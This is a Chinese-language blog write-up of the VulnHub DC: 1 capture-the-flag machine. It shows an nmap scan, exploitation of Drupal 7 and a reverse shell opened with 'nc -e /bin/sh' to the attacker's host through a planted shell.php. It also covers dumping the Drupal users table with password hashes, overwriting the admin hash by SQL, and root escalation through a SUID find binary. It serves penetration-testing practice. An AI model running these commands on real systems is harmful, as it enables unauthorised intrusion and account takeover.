Site icon MkS

[資訊安全] VulnHub – DC: 1 Write-up

年初、年末大概是進公司以來最有時間精進自己的時候吧,大多案子不會在這時間執行,也好讓自己有時間可以做點什麼練習,大概就是上班打靶機,下班準備證照,然後無聊打打靶,這次看到 DC 系列的 VulnHub 主機共有 9 台,該篇文章從 DC: 1 開始解題,就看能不能在農曆連假前完整解完。

其他相關文章有興趣可以參考 #VulnHub

環境設定

VirtualBox: Kali
Target: h t t p s : / / w w w . v u l n h u b . c o m / e n t r y / d c – 1 , 2 9 2 /
Net Config: NAT Network

尋找 DC: 1 靶機

┌──(mksyi㉿kali)-[~]
└─$ nmap 10.0.2.4 -A -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-15 10:29 CST
Nmap scan report for 10.0.2.4
Host is up (0.0071s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          40824/udp6  status
|   100024  1          57499/tcp6  status
|   100024  1          58753/tcp   status
|_  100024  1          58966/udp   status
58753/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

解題過程

直接瀏覽目標可以發現是使用 Drupal,但不知道是哪個版本。

首先透過工具 wappalyzer 直接得到頁面使用 Drupal 7。

並直接尋找已知的 Exploit 來 RCE,取得第一個 Flag。

除了 Flag 之外,還發現系統上存在 shell.php 檔案,並且 Key 為 c,藉此丟一個 Reverse shell 回來,並且使用 Python 取得一個真正的 Shell。

使用 nc 監聽連線

nc -nl -vv -p 8080

透過瀏覽器訪問 shell.php,透過 nc 建立一個連線回來

http://10.0.2.4/shell.php?c=nc%20-e%20%2Fbin%2Fsh%2010.0.2.15%208080
nc -e /bin/sh 10.0.2.15 8080

接著回到 nc 使用以下指令取得一個真正的 Shell

python -c "import pty;pty.spawn('/bin/bash')"

然後嘗試尋找更多資訊

cat sites/default/settings.php

找到 DB 資訊,並嘗試登入。

mysql -u dbuser -p
show databases;
use drupaldb
show tables;
select * from users;
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| uid | name  | pass                                                    | mail              | theme | signature | signature_format | created    | access     | login      | status | timezone            | language | picture | init              | data |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
|   0 |       |                                                         |                   |       |           | NULL             |          0 |          0 |          0 |      0 | NULL                |          |       0 |                   | NULL |
|   1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com |       |           | NULL             | 1550581826 | 1550583852 | 1550582362 |      1 | Australia/Melbourne |          |       0 | admin@example.com | b:0; |
|   2 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org  |       |           | filtered_html    | 1550581952 | 1550582225 | 1550582225 |      1 | Australia/Melbourne |          |       0 | fred@example.org  | b:0; |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+

為了爆破出 admin 的密碼,只好拿去餵 Hashcat,但由於該 Hash 方法為 Bcrypt,爆破不是一個明智的選擇,於是走了另一個套路,直接更新 admin 的密碼,但首先要知道密碼是用什麼方法 HASH 的,透過官方文件說明,還直接提供方法可以直接使用。

UPDATE users SET pass ='$S$DNbrvi7US5L09VyD9lUfNp7x83UuxPtDKtPgkJxxpzWfX0eE2Fo2' WHERE uid = 1;

然後登入 admin 後在 Dashboard 發現 flag3

接著就得到 Flag4 的線索,必且提示可以使用 -exec 指令來執行 command,可能原因是 Find 工具被設有 SUID 權限。

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

首先在目標主機上執行以下指令進行探勘。

find / -type f \( -perm -04000 -o -perm -02000 \) -exec ls -lg {} \;

並得到以下結果

其中最為關鍵的為 /usr/bin/find,就如同提示給的一樣,可以透過 find 來獲取高權限。

-rwsr-xr-x 1 root 162424 Jan  6  2012 /usr/bin/find

為了取得 flag4 的帳號權限,這部分有幾個套路。

  1. 讀取 shadow 檢視 flag4 的 hash 並解密
  2. 透過 find -exec 執行 /bin/sh 獲取 root 權限,並直接瀏覽 flag
  3. 透過 find -exec 執行 /bin/sh 獲取 root 權限,再透過 ssh 匯入 authorized_keys 並透過 ssh 進行登入。
  4. 透過 find -exec 執行 /bin/sh 獲取 root 權限,直接修改 flag4 使用者的密碼後,再透過 SSH 進行登入。

但由於太懶了,直接使用 find -exec /bin/sh \; 指令來取得 root 權限,並檢視 flag。

然後提示說是否可以拿到 root,看起來我沒照著解題流程進行就直接拿到 root 了。

打完之後發現該題很適合新手漸進式的學習,之後或許可以拿來當作是滲透測試訓練用的教材。

Exit mobile version